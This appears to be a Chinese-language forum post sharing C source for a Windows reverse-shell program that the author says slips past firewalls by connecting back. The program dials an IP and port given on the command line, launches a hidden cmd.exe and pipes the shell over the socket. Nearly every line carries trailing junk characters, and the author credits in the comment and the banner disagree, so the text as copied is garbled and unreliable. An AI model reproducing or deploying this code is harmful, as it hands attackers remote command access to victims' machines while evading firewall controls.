这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== JYNnzgd
Rebound port in Windows NT Y&b Yaq
By wind,2006/7 gWHY7rv
===============================*/ =T3{!\tH
#include ?x",VA
#include BywEoS
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#pragma comment(lib,"wsock32.lib") ?M4ig_
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void OutputShell(); sRT5i9TQ
SOCKET sClient; 2#$7!`6K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) -}TP)/!,*
{ [cDDZ+6
WSADATA stWsaData; (zsmJe
int nRet; f
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SOCKADDR_IN stSaiClient,stSaiServer; @{qcu\sZ
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if(argc != 3) e;=R8i
{ l1zPL3"u_^
printf("Useage:\n\rRebound DestIP DestPort\n"); NUnwf
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return; R5b,/>^'A
} pqs!kSJV
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WSAStartup(MAKEWORD(2,2),&stWsaData); +>1Yp"> ?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;gEEdx'&T
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stSaiClient.sin_family = AF_INET; ~uY5~Qs9G
stSaiClient.sin_port = htons(0); U!+O+(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]z7pa^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -U>)B
{ ,hNs{-*
printf("Bind Socket Failed!\n"); RoHX0
return; qK;J:GT>
} GKg #nXS
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stSaiServer.sin_family = AF_INET; =S54p(>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7mnO60Z8N
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >H euf"V
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L7 FFa:#
{ &:d`Pik6
printf("Connect Error!"); zLr:zf l
return; ~yN>9f U
} eYRd#w
OutputShell(); Zu#^a|PE*
} vKoQ!7g
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void OutputShell() [EPRBK`=
{ _Hq)@AI
char szBuff[1024]; M| }?5NS
SECURITY_ATTRIBUTES stSecurityAttributes; ( q*/=u
OSVERSIONINFO stOsversionInfo; .gNJY7`b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HRahBTd(z
STARTUPINFO stStartupInfo; BpFXe7
char *szShell; ^,'KmZm=
PROCESS_INFORMATION stProcessInformation; s#8}&2#l
unsigned long lBytesRead; ve/.q^JeJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3NwdE/x\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t:.X=/02
stSecurityAttributes.lpSecurityDescriptor = 0; U>n.+/ss
stSecurityAttributes.bInheritHandle = TRUE; 3KD:JKn^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <vg|8-,#m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NSRY(#3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xa}y.qH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h _c11#
stStartupInfo.wShowWindow = SW_HIDE; }+NlYD:qF
stStartupInfo.hStdInput = hReadPipe; 29@m:=-}7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s*CBYzOm
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GetVersionEx(&stOsversionInfo); OpOR!
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switch(stOsversionInfo.dwPlatformId) r,,* k E
{ R=NK3iGT f
case 1: 4tiCxf)
szShell = "command.com"; V,7Xeh(+5L
break; kU)E-h
default: L{f0r!d|
szShell = "cmd.exe"; Ov:U3P?%
break; 7'{%djL
} ]R"n+LnI:=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #B$_ily)
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send(sClient,szMsg,77,0); Fvv/#V^R
while(1) I*+*Wf
{ /ubGa6N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0ZAtBq.s
if(lBytesRead) \o?
{ )Zyw^KN^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &~)1mnv.
send(sClient,szBuff,lBytesRead,0); pR:cn kVF
} z\J#d 1e
else &C/,~pJ1S
{
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lBytesRead=recv(sClient,szBuff,1024,0); SsL>K*t5
if(lBytesRead<=0) break; tdi}P/x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,-1taS
} AIQ]lQ(
} I}
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return; )Vy}oFT\
}